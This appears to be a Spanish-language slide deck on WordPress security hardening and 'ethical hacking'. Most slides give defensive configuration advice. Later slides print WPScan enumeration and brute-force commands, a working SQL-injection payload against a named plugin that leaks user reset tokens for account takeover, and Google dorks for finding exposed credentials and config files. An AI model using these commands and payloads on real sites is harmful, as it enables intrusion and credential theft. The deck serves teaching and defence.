Seguridad bsica y Hacking tico Eric Zeidan ericjanzei
Seguridad básica y Hacking Ético Eric Zeidan @ericjanzei Pablo López @desarrollowp
¿Existe la seguridad 100%? • • Anonymous tumba Post. Finance y Pay. Pal en apoyo a Wiki. Leaks Anonymous ataca la web del FBI en protesta por el cierre de Mega. Upload Roban las contraseñas de Twitter y Pinterest de Mark Zuckerberg Mr Bean en la Moncloa Roban 100 millones de contraseñas de Linked. In Los papeles de Panamá Porno Gay en Twitter de ISIS tras el ataque en Oregón Seguridad básica y Hacking Ético
Entonces…¿Word. Press es seguro? • Word. Press lleva unas 170 versiones y en todas se corrige alguna vulnerabilidad • Desde su nacimiento se endurece continuamente su CORE contra amenazas de seguridad, incluyendo el Top 10 de amenazas identificado por The Open Web Application Security Project (OWASP) • Verano 2009, 4 versiones en apenas 1 mes. Donde otros ven un problema, algunos vemos una virtud: La comunidad y el equipo de desarrollo responden…y responden rápido. • Puedes reportar vulnerabilidades aquí • Incluso la banca ha empezado a usar Word. Press para portales corporativos Sí, es seguro…y cada día más Seguridad básica y Hacking Ético
¿Por donde vienen los ataques? Seguridad básica y Hacking Ético
Todo empieza con la instalación • Word. Press se instala en 5 minutos • A partir de aquí queda en nuestra mano la responsabilidad de que nuestro sitio sea seguro • Nuestra máxima será: No des pistas a un atacante malintencionado. Pongámoselo lo más difícil posible Seguridad básica y Hacking Ético
En nuestro wp-config. php El usuario de BBDD que tenga sólo privilegios para esa BBDD Seguridad básica y Hacking Ético
En nuestro wp-config. php Cambia el prefijo de la base de datos Seguridad básica y Hacking Ético
En nuestro wp-config. php Establece Keys y Salts Generador de claves aleatorias: https: //api. wordpress. org/secret-key/1. 1/salt/ Seguridad básica y Hacking Ético
Usuario y Contraseña fuertes Seguridad básica y Hacking Ético
Usuario y Contraseña fuertes Usa nombres de Usuario y Contraseñas fuertes. Hay estudios que reflejan que se siguen utilizando contraseñas débiles: 123456 password 12345678 qwerty 123456789 football 1234567 baseball welcome 1234567890 abc 123 111111 1 qaz 2 wsx dragon master monkey letmein login princess qwertyuiop solo passw 0 rd starwars Puedes medir la seguridad de tu clave y cuanto tardaría un ordenador en crackearla en https: //howsecureismypassword. net/ Seguridad básica y Hacking Ético
Back Up Una vez instalado Word. Press lo primero que debes hacer es configurarte un sistema de Back Up. Será nuestra salvación el día de mañana si sufrimos un ataque 1. Back Up manual 2. Back Up de servidor 3. Back Up a través de plugins Seguridad básica y Hacking Ético
Author pages & permalinks Averiguar el usuario de una instalación de Word. Press puede ser tan fácil como esto: http: //tusitio. com/? author=1 … http: //tusitio. com/? author=n Si el sitio tiene configurado los enlaces permanentes nos redirigirá a algo tipo: http: //tusitio. com/autor/my-username/ Nos encontramos con que el nombre de autor es a su vez el nombre de usuario. Estamos regalando la mitad de lo que necesita un atacante para entrar en nuestro sitio Seguridad básica y Hacking Ético
Author pages & permalinks Cambia el user_nicename directamente desde BBDD o utiliza el plugin Edit Author Slug: Bloquea la enumeración de usuarios con éste código o utiliza el plugin Stop User Enumeration: Seguridad básica y Hacking Ético
Author pages & permalinks Si no utilizas páginas de autor, bloquea el acceso con éste código o utiliza el plugin Remove Author Pages: Seguridad básica y Hacking Ético
https mejor… Fuente: Wikipedia El sistema HTTPS utiliza un cifrado basado en SSL/TLS para crear un canal cifrado (cuyo nivel de cifrado depende del servidor remoto y del navegador utilizado por el cliente) más apropiado para el tráfico de información sensible que el protocolo HTTP. De este modo se consigue que la información sensible (usuario y claves de paso normalmente) no pueda ser usada por un atacante que haya conseguido interceptar la transferencia de datos de la conexión, ya que lo único que obtendrá será un flujo de datos cifrados que le resultará imposible de descifrar. HTTP es inseguro y está sujeto a ataques man-in-the-middle y eavesdropping que pueden permitir al atacante obtener acceso a cuentas de un sitio web e información confidencial. HTTPS está diseñado para resistir esos ataques y ser más seguro. Seguridad básica y Hacking Ético
Protege el inicio de sesión • Protege el acceso a wp-admin a través del. htaccess y. htpasswd. (Guía) • Plugin WP Limit Login Attemps para evitar ataques de fuerza bruta • Plugin WP Login re. CAPTCHA para añadir el re. CAPTCHA de google al formulario de inicio de sesión Seguridad básica y Hacking Ético
Protege el wp-config. php Puedes moverlo a una carpeta de nivel superior para que no esté accesible desde internet. Si Word. Press no lo encuentra en su lugar habitual, lo buscará allí. Protégelo mediante. htaccess: <Files. Match "^(wp-config|wp-config-sample). *$"> order allow, deny from all </Files. Match> Asigna permisos especiales (444)* * Hay que tener en cuenta que algunos plugins escriben en el wp-config, por lo tanto con esos permisos podemos tener problemas Seguridad básica y Hacking Ético
Permisos de archivos y carpetas La regla general nos dice que los permisos deben ser 755 para las carpetas y 644 para los archivos. Además recomendable poner el wp-config. php y el. htaccess a 444. ¿Qué son estos números? Son una representación octal o en base 8. En esta notación octal de tres dígitos cada número representa un componente distinto del conjunto de permisos: propietario, grupo y público respectivamente. Cada uno de estos dígitos es la suma de los bits que lo componen. Para que nunca se produzca una combinación ambigua, el peso de cada bit es el siguiente: • El bit de lectura suma 4 • El bit de escritura suma 2 • El bit de ejecución suma 1 Seguridad básica y Hacking Ético
Permisos de archivos y carpetas 7 es resultado de la suma de 4+2+1, lo que significa que el propietario tiene permisos de lectura, escritura y ejecución. 5 es la suma de 4+1, lo que significa que tanto el grupo como el público sólo tienen permisos de lectura y ejecución Seguridad básica y Hacking Ético
Añade cabeceras HTTP de seguridad X-Frame-Options Protección contra clickjacking o secuestro de click. Sirve para prevenir que la página pueda ser abierta en un iframe. Los valores que puede tomar esta cabecera son: DENY: prohíbe cualquier intento SAMEORIGIN: permite usar el contenido sólo desde el propio dominio ALLOW FROM: permite usar el contenido en las URLs indicadas X-Content-Type-Options El objetivo de establecer esta cabecera es evitar que se cargue un archivo JS ó CSS con un MIME-Type diferente al declarado. Esto es muy útil ya que permite bloquear archivos enmascarados que puedan ejecutar código malicioso en nuestro sitio. X-XSS-Protection El objetivo es habilitar o no el filtro anti XSS de los navegadores. Se trata de una capa adicional que bloquea ataques XSS a través del navegador y que ya implementan IE y Chrome Seguridad básica y Hacking Ético
Añade cabeceras HTTP de seguridad A través del functions. php: function add_security_headers() { header( 'X-Content-Type-Options: nosniff' ); header( 'X-Frame-Options: SAMEORIGIN' ); header( 'X-XSS-Protection: 1; mode=block' ); } add_action( 'send_headers', 'add_security_headers' ); A través del. htaccess: Header always append X-Frame-Options SAMEORIGIN Header set X-Content-Type-Options nosniff Header set X-XSS-Protection "1; mode=block" Seguridad básica y Hacking Ético
Desactiva el editor de archivos de Word. Press A través del wp-config. php: define('DISALLOW_FILE_EDIT', true); Seguridad básica y Hacking Ético
Word. Press, Temas y Plugins siempre actualizados • No instales temas o plugins nulled, suelen ir con bicho • Si no actualizas, corres el riesgo ser atacado • No es muy difícil encontrar en internet información sobre vulnerabilidades en versiones antiguas • Si utilizas temas o plugins a medida asegúrate de sanitizar, validar y escapar cualquier dato que trates en tu sitio • Respecto a la seguridad, mejor prevenir que un día entrar en tu sitio y … Seguridad básica y Hacking Ético
Algunos Plugins interesantes WP Hide & Security Enhancer Hace que un Word. Press no parezca un Word. Press. Oculta los archivos del núcleo, la versión actual, las rutas del los plugins y temas, las URLs de acceso al panel de administración, etc… All In One WP Security & Firewall Todo en uno, permite establecer muchos parámetros de seguridad (cambio de usuario admin, protección contra fuerza bruta, crear listas negras de Ips, etc…) y análisis. Word. Fence Security Completa suite de seguridad, configurable y con reportes de seguridad de todo tipo: escanéo de Word. Press, temas y plugins, escaneo en comentarios en busca de spam y listas negras, bloqueo de ataques de fuerza bruta, etc… Latch Integra Latch en tu Word. Press permitiéndote bloquear el acceso a tu sitio desde el móvil Seguridad básica y Hacking Ético
¿Hacker o Craker? El nombre hacker – neologismo utilizado para referirse a un experto (Gurú) en varias o alguna rama técnica relacionada con las tecnologías de la información y las telecomunicaciones: programación, redes, sistemas operativos. Cracker – (criminal hacker, 1985). Un cracker es alguien que viola la seguridad de un sistema informático de forma similar a como lo haría un hacker, sólo que a diferencia de este último, el cracker realiza la intrusión con fines de beneficio personal o para hacer daño a su objetivo. “Si conoce el enemigo y te conoces a ti mismo, no tienes que temer el resultado de cien batallas” – Sun Tzu, Art of War Seguridad básica y Hacking Ético
Hacking Ético Hacking ético es una forma de referirse al acto de una persona usar sus conocimientos de informática y seguridad para realizar pruebas en redes y encontrar vulnerabilidades, para luego reportarlas y que se tomen medidas, sin hacer daño. ¿Como podemos hacer hacking ético? • A través de experiencia de programación y desarrollo • Usando programas especializados • Simulando ataques Seguridad básica y Hacking Ético
WP Scan WPScan es una herramienta de seguridad de código abierto distribuida bajo licencia GPLv 3 que permite, a los profesionales de la seguridad y a los administradores web, evaluar las condiciones de seguridad de un sitio web mediante la exploración de las diversas vulnerabilidades conocidas dentro de una instalación de Word. Press. Realiza un scan completo de la web Ruby wpscan. rb --url http: //tuurl. com Para enumerar plugins Ruby wpscan. rb --url http: //tuurl. com --enumerate p Para enumerar usuarios Ruby wpscan. rb --url http: //tuurl. com --enumerate user Para enumerar usuarios usando solo 50 hilos Ruby wpscan. rb --url http: //tuurl. com --enumerate user --threads 50 Si existen mas de 1000 usuarios, enumerar por numero de usuarios Ruby wpscan. rb --url http: //tuurl. com --enumerate u[1 -100] Seguridad básica y Hacking Ético
WP Scan Además posee un modulo para realizar fuerza bruta sobre los usuarios contra una lista de posibles passwords que podemos crear o descargar. Tenemos una con mas de 1 millón 700 mil passwords que podemos usar de darkc 0 de llamada darkc 0 de. lst y la podemos conseguir haciendo una búsqueda del archivo en google. O puedes generar tu propia lista con el comando crunch http: //www. hackingtutorials. org/general-tutorials/crunch-password-list-generation/ Para realizar un ataque de fuerza Bruta Ruby wpscan. rb --url http: //tuweb. com --wordlist /ubicación de tu lista. txt o. lst -username elusuario --threads 50 Seguridad básica y Hacking Ético
Google Dorks ¿Qué son los Google Dorks? No son más que combinaciones de operaciones de búsqueda que nos dará como resultado tanto la información que normalmente se muestra con cualquier búsqueda corriente como datos internos de la web que estén en el enramado de dicho sitio pero no visible desde la navegación corriente. Existe un sinfín de posibilidades para combinar estos dorks y llegar a la información que buscamos, tantos como se nos puedan ocurrir, ya que en último listado recopilatorio de dorks hace un tiempo contemplaba 7000 entradas simples, que como he comentado, se pueden combinar entre sí para concretar el rango de búsqueda. Comentaré los que he encontrado hasta ahora más interesantes para que podáis observar el poder de los mismos, que con un poco de tiempo y jugando puedes encontrar información sensible que está abierta al público - filetype: sql “My. SQL dump” (pass|password|passwd|pwd) Similar al del ejemplo, muestra volcados de bases de datos My. SQL donde se encuentren registros del tipo pass|password|passwd|pwd. Seguridad básica y Hacking Ético
Google Dorks Encontrar sitios con Word. Press intext: "Proudly powered by Word. Press. “ intext: "Powered by Word. Press. " SQL Injection: Wordpress HD Webplayer - Versión 1. 1, usamos la siguiente dork inurl: /wp-content/plugins/hd-webplayer/playlist. php? videoid= [Full-disclosure] Word. Press <= 2. 8. 3 Remote admin reset password. Con este obtendremos el user_login y user_email de la siguiente manera: /*!UNION*/+/*!SELECT*/group_concat(ID, 0 x 3 a, user_login, 0 x 3 a, user_email, 0 x 3 b), 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 from wp_users Una vez obtenido el usuario o e-mail nos dirigimos a www. sitio-web. com/wp-admin y seleccionamos en ¿Olvidó su contraseña? introducimos el usuario o e-mail. Presionar en "Get New Password" la cual el sitio web enviara un token, dicho token se almacena en la DB, por lo tanto se obtendrá dicho código de la siguiente manera: /*!UNION*/+/*!SELECT*/group_concat(ID, 0 x 3 a, user_login, 0 x 3 a, user_activation_key, 0 x 3 b), 2, 3, 4, 5, 6, 7, 8, 9, 10, 11 from wp_users Seguridad básica y Hacking Ético
Google Dorks Obtenido el token, sólo faltaría restablecer la contraseña, para ello nos dirigimos al siguiente link: http: //www. sitio-web. com/wp-login. php? action=rp&key=Token&login=Usuario Remplazamos el token y usuario por lo datos que nos arroja la DB, por ejemplo: http: //www. sitio-web. com/wp-login. php? action=rp&key=JAr 7 W 8 letkza&login=admin Por lo que lograremos la opción de restablecer la password fácil, fácil y con fundamento. https: //packetstormsecurity. com/files/116011/wphdwebplayer-sql. txt Seguridad básica y Hacking Ético
Google Dorks Con esta búsqueda podremos obtener archivos config con datos de accesos a BBDD: in-url: wp-config. txt Son archivos que los backups guardan como txt y donde podrías obtener los datos de acceso Para evitarlo debemos negar el acceso a estos: # Disable wp-config. txt location = /wp-config. txt { deny all; access_log off; log_not_found off; } Seguridad básica y Hacking Ético
Net. Cat Netcat es una herramienta de red que permite a través de intérprete de comandos y con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). Fue originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX. Después fue portada a Windows y Mac OS X. Existen muchos forks de esta herramienta que añaden características nuevas como GNU Netcat o Cryptcat. Con un nc -zv IP puerto podremos ver si el puerto esta abierto y tal vez podremos acceder a esa base de datos por comandos mysql Podemos buscar en Github si hay archivos con Passwords abierto site: github. com ext: csv userid | username | user -example password O peor aun si alguno ha dejado un wp-config con el password site: github. com ext: php wp-config -sample DB_PASSWORD Seguridad básica y Hacking Ético
Net. Cat y Google Dorks Por eso debemos tener cuidado al almacenar nuestros proyectos en github Ver algunos php. My. Admin allinurl: index. php? db=information_schema O obtener mails y pass guardados en archivos de texto filetype: txt & intext: "email=" & intext: "pass=" & intext: "charset_test=" Acá tenéis una Web con 7000 Dorks para jugar un poco con las búsquedas http: //pastebin. com/i. AA 7 Ptnw Seguridad básica y Hacking Ético
Hackers Famosos Paul Baram – el primer haker de la historia y el que creó el concepto de hacker. Kevin David Mitnick es el hacker más famoso de los últimos tiempos. En 1992 el gobierno acusó a Kevin de haber substraído información del FBI. Mitnick fue arrestado por el FBI en Raleigh, North Carolina, el 15 de Febrero de 1995. Ahora Tiene una empresa de seguridad: http: //www. kevinmitnick. com/ Mark Abene más conocido como Phiber Optik. Lideró en New York, al grupo de hackers denominado "Master of Deception“ (MOD). En Noviembre de 1989, hizo colapsar las computadoras de WNET, uno de los principales canales de televisión de la ciudad de New York, dejando un mensaje "Happy Thanksgiving you turkeys, from all of us at MOD" Seguridad básica y Hacking Ético
Hackers Famosos John Draper (EUA) Ídolo de los tres anteriores, introdujo el concepto de Phreaker, al conseguir realizar llamadas gratuitas utilizando un pito de plástico que venia de regalo en una caja de cereales. Obligó a los EUA a cambiar de señalización de control en sus sistemas de telefonía. Chen Ing-Hou Creador del virus Chernobyl en 1998 Johan Helsingius es el responsable de Remailer, uno de los más famosos servidores de mail anónimo. El servidor Remailer, no almacena los mensajes sino que sirve como un canal de re-transmisión de los mismos. El Remailer re-envía estos mensajes, sin dar a conocer la identidad del remitente original. Seguridad básica y Hacking Ético
Hackers Famosos Sir Dystic es el hacker autor del programa original Back Orifice David L. Smith es sospechoso de ser el autor del virus Melissa. Tsutomu Shimomura buscó, encontró y desenmascaró a Kevin Mitnick a principios de 1994, y que previamente había entrado en su ordenador robándole ficheros. El. Gran. Oscarín, hacker español y autor del troyano Cabronator. Las iniciales son O. L. H y que en los primeros días de Abril del 2003 fue detenido por la Guardia Civil. Seguridad básica y Hacking Ético
Toma en serio la seguridad de tu Web ¡GRACIAS! Seguridad básica y Hacking Ético
- Slides: 38